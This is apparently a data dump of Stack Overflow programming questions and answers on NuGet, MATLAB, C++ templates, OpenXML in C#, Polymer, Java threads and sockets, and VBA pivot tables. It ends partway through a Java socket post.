25778028	0	 <p>You have to choose one way of the following :</p> <p>Re-installing a package by it's name in all solution's projects:</p> <pre><code>Update-Package –reinstall &lt;packageName&gt; </code></pre> <p>Re-installing a package by it's name and ignoring it's dependencies in all solution's projects:</p> <pre><code>Update-Package –reinstall &lt;packageName&gt; -ignoreDependencies </code></pre> <p>Re-installing a package by it's name in a project:</p> <pre><code>Update-Package –reinstall &lt;packageName&gt; &lt;projectName&gt; </code></pre> <p>Re-installing all packages in a specific project:</p> <pre><code>Update-Package -reinstall -ProjectName &lt;projectName&gt; </code></pre> <p>Re-installing all packages in a solution:</p> <pre><code>Update-Package -reinstall </code></pre>
24952566	0	 <p>If you are using <code>GUIDE</code> for developing, every time you add a button to your <code>GUI</code> a chunk of code is generated:</p> <pre><code>% --- Executes on button press in pushbutton1. function pushbutton1_Callback(hObject, eventdata, handles) % hObject handle to pushbutton1 (see GCBO) % eventdata reserved - to be defined in a future version of MATLAB % handles structure with handles and user data (see GUIDATA) </code></pre> <p>This function is called every time you push the said button. So, if you need something to be executed when you click the button you just need to add the lines of code you want to execute below that generated chunk of code. For example, imagine you have an <code>edit text</code> variable called <code>edit1</code> with value</p> <pre><code>edit1 = 'hello'; </code></pre> <p>If you want to interact with it you need to call <code>handles</code>, but first you need to create a global variable:</p> <pre><code>%set the current figure handle to main application data setappdata(0,'figureHandle',gcf); %set the handles to figure's application data setappdata(gcf,'EDIT1',handles.edit1); </code></pre> <p>Then, in the callback function of your button you need write the following:</p> <pre><code>% --- Executes on button press in pushbutton1. function pushbutton1_Callback(hObject, eventdata, handles) % hObject handle to pushbutton1 (see GCBO) % eventdata reserved - to be defined in a future version of MATLAB % handles structure with handles and user data (see GUIDATA) figureHandle = getappdata(0,'figureHandle'); EDIT1 = getappdata(figureHandle,'EDIT1 '); new_string = 'updated string'; set(EDIT1, 'String', new_string); </code></pre> <p>Hope this helps</p>
13378466	0	 <pre><code>function check(mail) { return !mail.match(/^\.|\.$/); } check('amshaegar@example.org'); // true check('amshaegar@example.org.'); // false check('.amshaegar@example.org'); // false </code></pre> <p>The function check expects a mail address as a String and checks if there is <strong>no</strong> dot(.) at the beginning or end.</p> <p>For detecting multiple dots(...) as well your function would look like this:</p> <pre><code>function check(mail) { return !mail.match(/^\.|\.{2,}|\.$/); } </code></pre>
6529843	0	Financial Company Logos API <p>Is there a way to dynamically pull company logos for banks and brokerages into a webpage without individually downloading each logo or building a list of URL's to link to them directly? I'm looking for any site that has an API to get company logos given a ticker symbol, company name, or website URL.</p>
1017332	0	Segmentation fault in QHash <p>I got the following crash in <code>QHash</code>. I am unable to find any thing into. I am using Qtopia-Core-4.3.3 on Linux Machine.</p> <p>The log is as follows:</p> <blockquote> <p>ASSERT: "*node == e || (*node)->next" in file<br> /usr/local/Trolltech/QtopiaCore-4.3.3-400wrl/include/QtCore/qhash.h, line 824<br> Segmentation fault</p> </blockquote> <p>Can anybody help me in this?</p>
15214852	1	depth of a tree python <p>i am new to programming and am trying to calculate the depth of a python tree. I believe that my error is because depth is a method of the Node class and not a regular function. I am trying to learn oop and was hoping to use a method. This might be a new bee error... Here is my code:</p> <pre><code>class Node: def __init__(self, item, left=None, right=None): """(Node, object, Node, Node) -&gt; NoneType Initialize this node to store item and have children left and right. """ self.item = item self.left = left self.right = right def depth(self): if self.left == None and self.right == None: return 1 return max(depth(self.left), depth(self.right)) + 1 i receive this error: &gt;&gt;&gt;b = Node(100) &gt;&gt;&gt;b.depth() 1 &gt;&gt;&gt;a = Node(1, Node(2), Node(3)) &gt;&gt;&gt;a.depth() Traceback (most recent call last): File "C:\Program Files\Wing IDE 101 4.1\src\debug\tserver\_sandbox.py", line 1, in &lt;module&gt; # Used internally for debug sandbox under external interpreter File "C:\Program Files\Wing IDE 101 4.1\src\debug\tserver\_sandbox.py", line 15, in depth builtins.NameError: global name 'depth' is not defined </code></pre>
15198592	0	 <p>To vertically align a text in a container, <a href="http://www.vanseodesign.com/css/vertical-centering/" rel="nofollow">multiple techniques</a> can be used. However, most of them have additional script calculation at runtime (if the height of the text container is changing) which can mess with the business logic.</p> <p>A hack can be used in your particular situation. You can add an image container with empty src inside your text container with <strong>100% height</strong> and <strong>0 width</strong> set by css.</p> <pre><code>&lt;label id="uppgift" class="uppgifter" style="display:inline-block;"&gt;&lt;img scr=""/&gt;Abc&lt;/label&gt; &lt;label id="uppgift2" class="uppgifter" style="display:inline-block;"&gt;&lt;img scr=""/&gt;123&lt;/label&gt; //and css .uppgifter img{ height:100%; width:0; } </code></pre> <p><strong><a href="http://jsfiddle.net/jQ6Ua/12/" rel="nofollow">Example</a></strong></p> <p>This way you would not have to write logic for additional added layers.</p>
3816595	0	 <p>Perhaps CCTray gets around this? </p> <p>what's the authentication mechanism you are using (forms, windows auth, federated, etc.)? </p> <p>Our CC.Net servers I make changes to about every 5 minutes while I'm working on setting up a project and have never seen this error. Everyone does run CCTray, but the cc.net servers are not internet accessible so no login is required. The IIS manages authentication seamlessly through ActiveDirectory. Is your cc.net server internet facing?</p>
8202673	0	 <p>There is no difference. The fact is that in recursive function call you will return a specific value or you return a return of same function call.</p>
2705296	0	 <p>They use a system simmlar to OpenID</p> <p><a href="http://www.windley.com/archives/2006/04/how_does_openid.shtml" rel="nofollow noreferrer">http://www.windley.com/archives/2006/04/how_does_openid.shtml</a></p>
20172692	0	'if' statements on C++ template arguments <p>The following code gives me a warning when using the Intel compiler icpc13.</p> <pre><code>#include &lt;iostream&gt; template&lt;int N&gt; class base { public: double x[N]; }; template&lt;int N&gt; class derived : public base&lt;2*N&gt; { public: void print() { if (N==1) { std::cout &lt;&lt; this-&gt;x[1] &lt;&lt; std::endl; } else if (N==2) { std::cout &lt;&lt; this-&gt;x[3] &lt;&lt; std::endl; } } }; int main(int argc, char* argv[]) { derived&lt;1&gt; temp1; derived&lt;2&gt; temp2; temp1.print(); temp2.print(); } </code></pre> <blockquote> <p>Result: % icpc-13.1.163 main.cpp main.cpp(29): warning #175:</p> <p>subscript out of range std::cout&lt;x[3]&lt; <p>during instantiation of "void derived::print() [with N=1]" at line 41</p> </blockquote> <p>This is obviously not a danger since the if statement protects this line of code if the template argument is 1.</p> <p>I know that I "should" do template specialization for such things, but there is some shared code in the real functions that make the if statements on template arguments really handy.</p> <p>Question is…is this a "bad" thing to do, or is this incorrect compiler behavior? I don't get warnings with gcc, or xlc.</p> <p>I chose the pragma solution. This ends up looking like this:</p> <pre><code>void print() { #ifdef __INTEL_COMPILER #pragma warning push #pragma warning disable 175 #endif if (N==1) { std::cout&lt;&lt;this-&gt;x[1]&lt;&lt;std::endl; } else if (N==2) { std::cout &lt;&lt; this-&gt;x[3] &lt;&lt; std::endl; } #ifdef __INTEL_COMPILER #pragma warning pop #endif } }; </code></pre> <p>From what I can tell, the push saves the warning flags before the disable, and the pop restores them.</p>
16320164	0	 <p>You don't need to size the parameter in the declaration and can't because the [][] syntax requires compile time constants. </p> <p>Replace with string world[][] and it should work. </p> <p>If it doesn't then use string[]* world (an array of array of strings is actually an array of pointers to an array of string)</p> <p>I hope this helps, my C++ is becoming increasingly rusty.</p>
7006605	0	 <p>Cout works right to left in your compiler so first rightmost is evaluated then left one. :) So the value of referenced variable isn't changed.</p>
20909727	0	 <p>You can pull the map into something like <a href="http://tilemill.com" rel="nofollow">TileMill</a> using <a href="https://www.mapbox.com/tilemill/docs/guides/reprojecting-geotiff/" rel="nofollow">this guide</a> to turn your image into a GeoTIFF. Since it's from a video game, it won't have real coordinates, but you can basically choose some fake coordinates for its corners and everything inside will be interpolated. You would export this map and use it with the <a href="http://mapbox.com/mapbox-ios-sdk" rel="nofollow">Mapbox iOS SDK</a>, which is an open source rewrite of MapKit but with more customizability. </p> <p>Technically you could also use the map in MapKit as an <code>MKTileOverlay</code> but it would have to be hosted online. With the above solution, you could export directly to an <a href="http://mbtiles.org" rel="nofollow">MBTiles</a> file and use it local to the app. </p>
8601300	0	 <p>The problem is that the <code>SOUNDEX</code> algorithm is disabled by default and you have to use the compiler flag <code>-DSQLITE_SOUNDEX=1</code> when building <a href="http://www.sqlite.org/compile.html#soundex" rel="nofollow"><code>sqlite</code></a>. </p> <p>So you have to build the <code>sqlite</code> driver with this flag on, and then build the plugin by linking it to your <a href="http://lists.trolltech.com/qt4-preview-feedback/2005-05/thread01021-0.html" rel="nofollow"><code>sqlite</code> build</a>.</p>
1760515	0	How to build an hierarchy? <p>I want to analyze a piece of document and build an ontology from it. There could be many characteristics of this document, and it could be a hierarchy.</p> <p>What is the best programming method to build this hierarchy with unlimited height? A tree?</p> <p>I am looking for a broad "way" of programming, not necessary code.</p>
11455088	0	 <p>That code in the tutorial will work if you are adding new rows to a blank worksheet. Since you have a template that you are using that does have rows you will need to do a lot more work in order to add a row in the middle of your worksheet. You pretty much need to use the same code to add in the row, but then you have to manually update the row index of every row after the row you insert. You also have to update the merged cell references and the hyperlinks references as well. There might be more that you have to update, but I never had to update more than these three things. The main method to insert a row is below:</p> <pre><code> /// &lt;summary&gt; /// Inserts a new row at the desired index. If one already exists, then it is /// returned. If an insertRow is provided, then it is inserted into the desired /// rowIndex /// &lt;/summary&gt; /// &lt;param name="rowIndex"&gt;Row Index&lt;/param&gt; /// &lt;param name="worksheetPart"&gt;Worksheet Part&lt;/param&gt; /// &lt;param name="insertRow"&gt;Row to insert&lt;/param&gt; /// &lt;param name="isLastRow"&gt;Optional parameter - True, you can guarantee that this row is the last row (not replacing an existing last row) in the sheet to insert; false it is not&lt;/param&gt; /// &lt;returns&gt;Inserted Row&lt;/returns&gt; public static Row InsertRow(uint rowIndex, WorksheetPart worksheetPart, Row insertRow, bool isNewLastRow = false) { Worksheet worksheet = worksheetPart.Worksheet; SheetData sheetData = worksheet.GetFirstChild&lt;SheetData&gt;(); Row retRow = !isNewLastRow ? sheetData.Elements&lt;Row&gt;().FirstOrDefault(r =&gt; r.RowIndex == rowIndex) : null; // If the worksheet does not contain a row with the specified row index, insert one. if (retRow != null) { // if retRow is not null and we are inserting a new row, then move all existing rows down. if (insertRow != null) { UpdateRowIndexes(worksheetPart, rowIndex, false); UpdateMergedCellReferences(worksheetPart, rowIndex, false); UpdateHyperlinkReferences(worksheetPart, rowIndex, false); // actually insert the new row into the sheet retRow = sheetData.InsertBefore(insertRow, retRow); // at this point, retRow still points to the row that had the insert rowIndex string curIndex = retRow.RowIndex.ToString(); string newIndex = rowIndex.ToString(); foreach (Cell cell in retRow.Elements&lt;Cell&gt;()) { // Update the references for the rows cells. cell.CellReference = new StringValue(cell.CellReference.Value.Replace(curIndex, newIndex)); } // Update the row index. retRow.RowIndex = rowIndex; } } else { // Row doesn't exist yet, shifting not needed. // Rows must be in sequential order according to RowIndex. Determine where to insert the new row. Row refRow = !isNewLastRow ? sheetData.Elements&lt;Row&gt;().FirstOrDefault(row =&gt; row.RowIndex &gt; rowIndex) : null; // use the insert row if it exists retRow = insertRow ?? new Row() { RowIndex = rowIndex }; IEnumerable&lt;Cell&gt; cellsInRow = retRow.Elements&lt;Cell&gt;(); if (cellsInRow.Any()) { string curIndex = retRow.RowIndex.ToString(); string newIndex = rowIndex.ToString(); foreach (Cell cell in cellsInRow) { // Update the references for the rows cells. cell.CellReference = new StringValue(cell.CellReference.Value.Replace(curIndex, newIndex)); } // Update the row index. retRow.RowIndex = rowIndex; } sheetData.InsertBefore(retRow, refRow); } return retRow; } </code></pre> <p>Then here are the following helper methods to update the row indices, hyperlinks, and merged cell references:</p> <pre><code> /// &lt;summary&gt; /// Updates all of the Row indexes and the child Cells' CellReferences whenever /// a row is inserted or deleted. /// &lt;/summary&gt; /// &lt;param name="worksheetPart"&gt;Worksheet Part&lt;/param&gt; /// &lt;param name="rowIndex"&gt;Row Index being inserted or deleted&lt;/param&gt; /// &lt;param name="isDeletedRow"&gt;True if row was deleted, otherwise false&lt;/param&gt; private static void UpdateRowIndexes(WorksheetPart worksheetPart, uint rowIndex, bool isDeletedRow) { // Get all the rows in the worksheet with equal or higher row index values than the one being inserted/deleted for reindexing. IEnumerable&lt;Row&gt; rows = worksheetPart.Worksheet.Descendants&lt;Row&gt;().Where(r =&gt; r.RowIndex.Value &gt;= rowIndex); foreach (Row row in rows) { uint newIndex = (isDeletedRow ? row.RowIndex - 1 : row.RowIndex + 1); string curRowIndex = row.RowIndex.ToString(); string newRowIndex = newIndex.ToString(); foreach (Cell cell in row.Elements&lt;Cell&gt;()) { // Update the references for the rows cells. cell.CellReference = new StringValue(cell.CellReference.Value.Replace(curRowIndex, newRowIndex)); } // Update the row index. row.RowIndex = newIndex; } } /// &lt;summary&gt; /// Updates the MergedCelss reference whenever a new row is inserted or deleted. It will simply take the /// row index and either increment or decrement the cell row index in the merged cell reference based on /// if the row was inserted or deleted. /// &lt;/summary&gt; /// &lt;param name="worksheetPart"&gt;Worksheet Part&lt;/param&gt; /// &lt;param name="rowIndex"&gt;Row Index being inserted or deleted&lt;/param&gt; /// &lt;param name="isDeletedRow"&gt;True if row was deleted, otherwise false&lt;/param&gt; private static void UpdateMergedCellReferences(WorksheetPart worksheetPart, uint rowIndex, bool isDeletedRow) { if (worksheetPart.Worksheet.Elements&lt;MergeCells&gt;().Count() &gt; 0) { MergeCells mergeCells = worksheetPart.Worksheet.Elements&lt;MergeCells&gt;().FirstOrDefault(); if (mergeCells != null) { // Grab all the merged cells that have a merge cell row index reference equal to or greater than the row index passed in List&lt;MergeCell&gt; mergeCellsList = mergeCells.Elements&lt;MergeCell&gt;().Where(r =&gt; r.Reference.HasValue) .Where(r =&gt; GetRowIndex(r.Reference.Value.Split(':').ElementAt(0)) &gt;= rowIndex || GetRowIndex(r.Reference.Value.Split(':').ElementAt(1)) &gt;= rowIndex).ToList(); // Need to remove all merged cells that have a matching rowIndex when the row is deleted if (isDeletedRow) { List&lt;MergeCell&gt; mergeCellsToDelete = mergeCellsList.Where(r =&gt; GetRowIndex(r.Reference.Value.Split(':').ElementAt(0)) == rowIndex || GetRowIndex(r.Reference.Value.Split(':').ElementAt(1)) == rowIndex).ToList(); // Delete all the matching merged cells foreach (MergeCell cellToDelete in mergeCellsToDelete) { cellToDelete.Remove(); } // Update the list to contain all merged cells greater than the deleted row index mergeCellsList = mergeCells.Elements&lt;MergeCell&gt;().Where(r =&gt; r.Reference.HasValue) .Where(r =&gt; GetRowIndex(r.Reference.Value.Split(':').ElementAt(0)) &gt; rowIndex || GetRowIndex(r.Reference.Value.Split(':').ElementAt(1)) &gt; rowIndex).ToList(); } // Either increment or decrement the row index on the merged cell reference foreach (MergeCell mergeCell in mergeCellsList) { string[] cellReference = mergeCell.Reference.Value.Split(':'); if (GetRowIndex(cellReference.ElementAt(0)) &gt;= rowIndex) { string columnName = GetColumnName(cellReference.ElementAt(0)); cellReference[0] = isDeletedRow ? columnName + (GetRowIndex(cellReference.ElementAt(0)) - 1).ToString() : IncrementCellReference(cellReference.ElementAt(0), CellReferencePartEnum.Row); } if (GetRowIndex(cellReference.ElementAt(1)) &gt;= rowIndex) { string columnName = GetColumnName(cellReference.ElementAt(1)); cellReference[1] = isDeletedRow ? columnName + (GetRowIndex(cellReference.ElementAt(1)) - 1).ToString() : IncrementCellReference(cellReference.ElementAt(1), CellReferencePartEnum.Row); } mergeCell.Reference = new StringValue(cellReference[0] + ":" + cellReference[1]); } } } } /// &lt;summary&gt; /// Updates all hyperlinks in the worksheet when a row is inserted or deleted. /// &lt;/summary&gt; /// &lt;param name="worksheetPart"&gt;Worksheet Part&lt;/param&gt; /// &lt;param name="rowIndex"&gt;Row Index being inserted or deleted&lt;/param&gt; /// &lt;param name="isDeletedRow"&gt;True if row was deleted, otherwise false&lt;/param&gt; private static void UpdateHyperlinkReferences(WorksheetPart worksheetPart, uint rowIndex, bool isDeletedRow) { Hyperlinks hyperlinks = worksheetPart.Worksheet.Elements&lt;Hyperlinks&gt;().FirstOrDefault(); if (hyperlinks != null) { Match hyperlinkRowIndexMatch; uint hyperlinkRowIndex; foreach (Hyperlink hyperlink in hyperlinks.Elements&lt;Hyperlink&gt;()) { hyperlinkRowIndexMatch = Regex.Match(hyperlink.Reference.Value, "[0-9]+"); if (hyperlinkRowIndexMatch.Success &amp;&amp; uint.TryParse(hyperlinkRowIndexMatch.Value, out hyperlinkRowIndex) &amp;&amp; hyperlinkRowIndex &gt;= rowIndex) { // if being deleted, hyperlink needs to be removed or moved up if (isDeletedRow) { // if hyperlink is on the row being removed, remove it if (hyperlinkRowIndex == rowIndex) { hyperlink.Remove(); } // else hyperlink needs to be moved up a row else{ hyperlink.Reference.Value = hyperlink.Reference.Value.Replace(hyperlinkRowIndexMatch.Value, (hyperlinkRowIndex - 1).ToString()); } } // else row is being inserted, move hyperlink down else { hyperlink.Reference.Value = hyperlink.Reference.Value.Replace(hyperlinkRowIndexMatch.Value, (hyperlinkRowIndex + 1).ToString()); } } } // Remove the hyperlinks collection if none remain if (hyperlinks.Elements&lt;Hyperlink&gt;().Count() == 0) { hyperlinks.Remove(); } } } /// &lt;summary&gt; /// Given a cell name, parses the specified cell to get the row index. /// &lt;/summary&gt; /// &lt;param name="cellReference"&gt;Address of the cell (ie. B2)&lt;/param&gt; /// &lt;returns&gt;Row Index (ie. 2)&lt;/returns&gt; public static uint GetRowIndex(string cellReference) { // Create a regular expression to match the row index portion the cell name. Regex regex = new Regex(@"\d+"); Match match = regex.Match(cellReference); return uint.Parse(match.Value); } /// &lt;summary&gt; /// Increments the reference of a given cell. This reference comes from the CellReference property /// on a Cell. /// &lt;/summary&gt; /// &lt;param name="reference"&gt;reference string&lt;/param&gt; /// &lt;param name="cellRefPart"&gt;indicates what is to be incremented&lt;/param&gt; /// &lt;returns&gt;&lt;/returns&gt; public static string IncrementCellReference(string reference, CellReferencePartEnum cellRefPart) { string newReference = reference; if (cellRefPart != CellReferencePartEnum.None &amp;&amp; !String.IsNullOrEmpty(reference)) { string[] parts = Regex.Split(reference, "([A-Z]+)"); if (cellRefPart == CellReferencePartEnum.Column || cellRefPart == CellReferencePartEnum.Both) { List&lt;char&gt; col = parts[1].ToCharArray().ToList(); bool needsIncrement = true; int index = col.Count - 1; do { // increment the last letter col[index] = Letters[Letters.IndexOf(col[index]) + 1]; // if it is the last letter, then we need to roll it over to 'A' if (col[index] == Letters[Letters.Count - 1]) { col[index] = Letters[0]; } else { needsIncrement = false; } } while (needsIncrement &amp;&amp; --index &gt;= 0); // If true, then we need to add another letter to the mix. Initial value was something like "ZZ" if (needsIncrement) { col.Add(Letters[0]); } parts[1] = new String(col.ToArray()); } if (cellRefPart == CellReferencePartEnum.Row || cellRefPart == CellReferencePartEnum.Both) { // Increment the row number. A reference is invalid without this componenet, so we assume it will always be present. parts[2] = (int.Parse(parts[2]) + 1).ToString(); } newReference = parts[1] + parts[2]; } return newReference; } </code></pre> <p>Also some additional pieces you will need:</p> <pre><code>/// &lt;summary&gt; /// Given a cell name, parses the specified cell to get the column name. /// &lt;/summary&gt; /// &lt;param name="cellReference"&gt;Address of the cell (ie. B2)&lt;/param&gt; /// &lt;returns&gt;Column name (ie. A2)&lt;/returns&gt; private static string GetColumnName(string cellName) { // Create a regular expression to match the column name portion of the cell name. Regex regex = new Regex("[A-Za-z]+"); Match match = regex.Match(cellName); return match.Value; } public enum CellReferencePartEnum { None, Column, Row, Both } private static List&lt;char&gt; Letters = new List&lt;char&gt;() { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', ' ' }; </code></pre>
3573600	0	 <p>Just use the <a href="http://api.jquery.com/css/" rel="nofollow noreferrer"><code>css</code></a> method:</p> <pre><code>$("ul").css("list-style-type", ""); $("li").css("margin", ""); $("li").css("line-height", ""); $("li").css("font", ""); </code></pre>
30923677	0	 <p>Your error does not come from Comments but from the fact that you didn't select any "Language" in your BSF Listener.</p> <p>I tried it you can add comments in Beanshell for example using this syntax</p> <blockquote> <p>/** * test */</p> </blockquote> <p>Note there is also a "Comment" field in all elements.</p>
1634644	0	Create a class at runtime - Why do NSClassFromString AND objc_getclass return nil? <p>I've tried using both:</p> <pre><code>NSClassFromString and objc_getclass </code></pre> <p>to return a class, so I can create it at runtime, but both functions return nil for some classes, for example "TestClass". Note that NSClassFromString works for me for 99% of classes.</p> <p>If I add </p> <pre><code>[TestClass class]; </code></pre> <p>before I call NSStringFromClass or objc_getclass it, it works. and if I try to just create the class using a class reference, i.e.:</p> <pre><code>[TestClass alloc]; </code></pre> <p>it works too. So how can I force the class to load at runtime so NSClassFromString or objc_getclass will not return nil?</p>
23165042	0	Tracking Executing Threads <p>I am trying to figure out how I can track all the threads that my application is spawning. Initially, I thought I had it figured out using a CyclicBarrier, however I am seeing threads executing after my await call.</p> <p>Below is the working pseudo code:</p> <pre><code>public class ThreadTesterRunner { public static void main(String[] args) throws InterruptedException { final CyclicBarrier cb = new CyclicBarrier(1); ThreadRunner tr = new ThreadRunner(cb); Thread t = new Thread(tr, "Thread Runner"); t.start(); boolean process = true; // wait until all threads process, then print reports while (process){ if(tr.getIsFinished()){ System.out.println("Print metrics"); process = false; } Thread.sleep(1000); } } } class ThreadRunner implements Runnable { static int timeOutTime = 2; private ExecutorService executorService = Executors.newFixedThreadPool(10); private final CyclicBarrier barrier; private boolean isFinished=false; public ThreadRunner(CyclicBarrier cb) { this.barrier = cb; } public void run(){ try { boolean stillLoop = true; int i = 0; while (stillLoop){ int size; Future&lt;Integer&gt; future = null; try { future = executorService.submit(new Reader()); // sleeps size = future.get(); } catch (InterruptedException | ExecutionException ex) { // handle Errs } if(i == 3){ stillLoop = false; this.barrier.await(); this.isFinished=true; } //System.out.println("i = "+i+" Size is: "+size+"\r"); i++; } } catch (InterruptedException | BrokenBarrierException e1) { e1.printStackTrace(); } } public boolean getIsFinished(){ return this.isFinished; } } class Reader implements Callable { private ExecutorService executorService = Executors.newFixedThreadPool(1); @Override public Object call() throws Exception { System.out.println("Reading..."); Thread.sleep(2000); executorService.submit(new Writer()); return 1000; } } class Writer implements Callable { @Override public Void call() throws Exception { Thread.sleep(4000); System.out.println("Wrote"); return null; } } </code></pre> <p>Can anyone suggest a way to ONLY print "print metrics" after all threads have run?</p>
44532	0	What is the best way to send html/image email? <p>Do you attach the images? </p> <p>Use absolute urls? </p> <p>How do you best avoid getting flagged as spam? </p>
8940644	0	jquery to hide txtbox <p>I want to hide my textbox-X in classic asp according to the date entered textbox-Y. textbox-X is in different asp page and textbox-Y in different page but both are contained in one base page default.asp i used the following condition and code to hide my textbox-Y, but in vein. </p> <pre><code>if (document.getElementById('txtAmount')) { alert("Inside first alert"); $("#txtPRAmount1").hide(); alert("Inside second alert"); } </code></pre> <p>here first alert fires and but second alert doesnt. please help me</p>
14943596	0	Strange / unstable behaviour on CreatePivotTable() <p>I am writing VBA code to automate some processes in Excel and I am encountering a very strange behavior for which I have not been able to find documentation / help.</p> <p>I have a procedure <code>MAJ_GF</code> that first executes function <code>GF.Update</code>, checks the result, and then launches procedure <code>GF.Build</code> (which basically takes the data obtained by <code>GF.Update</code> from different worksheets and does a bunch of stuff with it). </p> <p>At some point, this "bunch of stuff" requires using a pivot table, so <code>GF.Build</code> contains the following line:</p> <pre><code>Set pvt = ThisWorkbook.PivotCaches.Create(xlDatabase, _ "'source_GF'!R1C1:R" &amp; j &amp; "C" &amp; k).CreatePivotTable("'TCD_GF'!R4C1", "GFTCD1") </code></pre> <p><strong>The strange behavior is this:</strong></p> <ul> <li>when I run <code>MAJ_GF</code>, VBA properly executes <code>GF.Update</code>, then launches <code>GF.Build</code>, and stops at the line described above complaining "Bad argument or procedure call"</li> <li>when I manually run <code>GF.Update</code>, then manually run <code>GF.Build</code>, everything goes smoothly and <code>GF.Build</code> does what it has to do from beginning to end with no errors</li> <li>even stranger, when I set a break-point on the incriminated line, run <code>MAJ_GF</code> then VBA pauses on the line as expected, and when I say "Continue"... it just continues smoothly and with no errors !</li> </ul> <p>I turned this around and around and around, double-checked the value of every variable, and this just makes no sense.</p> <p>Ideas anybody?</p>
22802233	0	Unset mysql_fetch_field object value MYSQL PHP <p>I have a code like this</p> <p>I have a stored procedure which will fetch all the info. But I want in my php view part to display only selected fields. How can I achieve that. Say for ex: the below code has three fields in db. S.No - BookName - Author Name If I want to unset a field value i.e. S.No - How can I do that</p> <p>I have tried the unset function like this. But dnt work unset($res->name->s_no);</p> <h1>Code</h1> <pre><code> &lt;?php $pa_query = mysql_query("call booklist()"); while($i&lt;mysql_num_fields($pa_query)){ $res=mysql_fetch_field($pa_query,$i); ?&gt; &lt;th&gt;&lt;?php echo $res-&gt;name; ?&gt;&lt;/th&gt; &lt;?php $i=$i+1; } ?&gt; </code></pre> <h1>Output</h1> <pre><code> S.No Book Name Author Name </code></pre> <h1>Expected Output</h1> <pre><code> Book Name Author Name </code></pre>
22552361	0	How to understand the `Net pruing` via complexity penalty <p>In Chapter6.10.3 'Net pruning', page53 of <strong>An introduction to neural networks __ Kevin Gurney</strong>. It introduce the <code>complexity penalty</code> into the back-propagation training algorithm. The <code>complexity penalty</code> is like as follow:</p> <p>$$ E_c=\sum_{i}w_i $$<br> $$ E = E_t + \lambda E_c $$ </p> <p><code>Et</code> is error used so far based on input-output differences.<br> Then performing gradient descent on this total risk E. </p> <p><strong>My question</strong> : After doing derivation. The <code>complexity penalty</code> will dissapear. How can it affect the training</p>
26514805	0	 <p>1) Option one reduce li font size if client is ok with it font-size: 0.75em; </p> <p>This worked for me and you the search bar was fixed.</p> <p>2) Second option is to trim the text length. There is only so much u can fit in those tight cells.</p> <p>abt the news widget I don't see anything wrong.</p>
23551257	0	 <p>In Shadow DOM land, this is called distribution. To distribute light DOM nodes into the shadow dom, you use <code>&lt;content&gt;</code> insertion points.</p> <p><a href="http://www.polymer-project.org/platform/shadow-dom.html#shadow-dom-subtrees">http://www.polymer-project.org/platform/shadow-dom.html#shadow-dom-subtrees</a></p> <p>It's quite literally a way to render nodes from light dom into placeholders in the shadow dom. If you want to do tricky things with the my-header/my-header-item title/name attributes, you can do something like this:</p> <pre><code>&lt;polymer-element name="my-header"&gt; &lt;template&gt; &lt;ul&gt; &lt;template repeat="{{item in items}}"&gt; &lt;li&gt;{{item.name}}&lt;/li&gt; &lt;/template&gt; &lt;/ul&gt; &lt;content id="c" select="my-header-item"&gt;&lt;/content&gt; &lt;/template&gt; &lt;script&gt; Polymer('my-header', { domReady: function() { this.items = [].slice.call(this.$.c.getDistributedNodes()); } }); &lt;/script&gt; &lt;/polymer-element&gt; </code></pre> <p>Demo: <a href="http://jsbin.com/hupuwoma/1/edit">http://jsbin.com/hupuwoma/1/edit</a></p> <p>I have a more full-fledged tabs demo does this setup over on <a href="https://github.com/ebidel/polymer-experiments/blob/master/polymer-and-angular/together/elements/wc-tabs.html">https://github.com/ebidel/polymer-experiments/blob/master/polymer-and-angular/together/elements/wc-tabs.html</a>.</p>
39017592	0	 <p>No string concatenation doesn't do any changes for localization, only String format does. </p>
33206917	0	 <p>In this line : </p> <pre><code>Categories.Add(1, new Menuitem() { Name = "Menu1", Image = "Menu1Resource" }); </code></pre> <p>You are setting probably ResourceKey Menu1Resource to Image thinking that you will get an Image object.</p> <p>Do this : </p> <pre><code>Categories.Add(1, new Menuitem() { Name = "Menu1", Image = _getImgFromResKey("Menu1Resource") }); Image _getImgFromResKey(string key) { //access resource from res dictionary } </code></pre> <p>and finally <code>&lt;Image Source="{Binding Value.Image}"/&gt;</code></p> <p><a href="http://stackoverflow.com/questions/618648/how-can-i-access-resourcedictionary-in-wpf-from-c-sharp-code">How to get resource from Res Dictionary</a></p>
24065916	0	 <p>To get a live stream, try switching <code>image2pipe</code> for <code>rawvideo</code>:</p> <pre><code>.fromFormat('rawvideo') .addInputOption('-pixel_format', 'argb') .addInputOption('-video_size', STREAM_WIDTH + 'x' + STREAM_HEIGHT) </code></pre> <p>This will encode the video at very low latency, instantly.</p> <p>You can remove <code>.fromFormat('image2pipe')</code> and <code>.addInputOption('-vcodec', 'mjpeg')</code>.</p>
17058382	0	StreamCorruptedException when connecting to a socket application over internet <p>I have created a chat room application using java sockets which worked well over the LAN at my class. But when I tried to connect it over the internet a StreamCorruptedException was thrown. When the error was thrown both client and server are connected to the internet using HSPA Modems(Because some one told me socket app will not work over ADSL). I searched for an answer and unfortunately I cannot fix this problem. Can you please look into this?</p> <p>Here's my code.</p> <p>1). Server :</p> <pre><code>import java.io.*; import java.util.*; import java.net.*; public class MyServer{ ArrayList&lt;ClientListener&gt; ctr; String uname; private static MyServer instance; public static void main(String asrgs[]){ MyServer server=MyServer.createInstance(); server.start(); } private MyServer(){ } public static MyServer getInstance(){ return instance; } public static MyServer createInstance(){ if(instance==null){ instance=new MyServer(); return instance; }else{ System.out.println("Server is already running"); return instance; } } public void broadcast(String msg, String uname){ for(int i=0;i&lt;ctr.size();i++){ try{ if(ctr.get(i).uname!=uname){ ObjectOutputStream oostream=ctr.get(i).getOOS(); oostream.writeObject(msg+","+uname); } }catch(IOException ioE){ ioE.printStackTrace(); } } } public void start(){ //Start Server ctr=new ArrayList&lt;ClientListener&gt;(); ServerSocket myServer=null; try{ myServer=new ServerSocket(5008); }catch(Exception e){ System.out.println(e); System.exit(0); } //accept requests Socket socket=null; try{ while(true){ System.out.println("Waiting for a request..."); socket=myServer.accept(); ObjectOutputStream oos=new ObjectOutputStream(socket.getOutputStream()); ObjectInputStream ois=new ObjectInputStream(socket.getInputStream()); InetAddress inet=socket.getInetAddress(); uname=inet.getHostName(); ClientListener ct=new ClientListener(oos,ois,uname); ctr.add(ct); new Thread(ct).start(); System.out.println("User Connected"); //new ChatRoom(oos,ois).setVisible(true); } }catch(IOException e){ System.out.println("No client found.."); } } } </code></pre> <p>2) 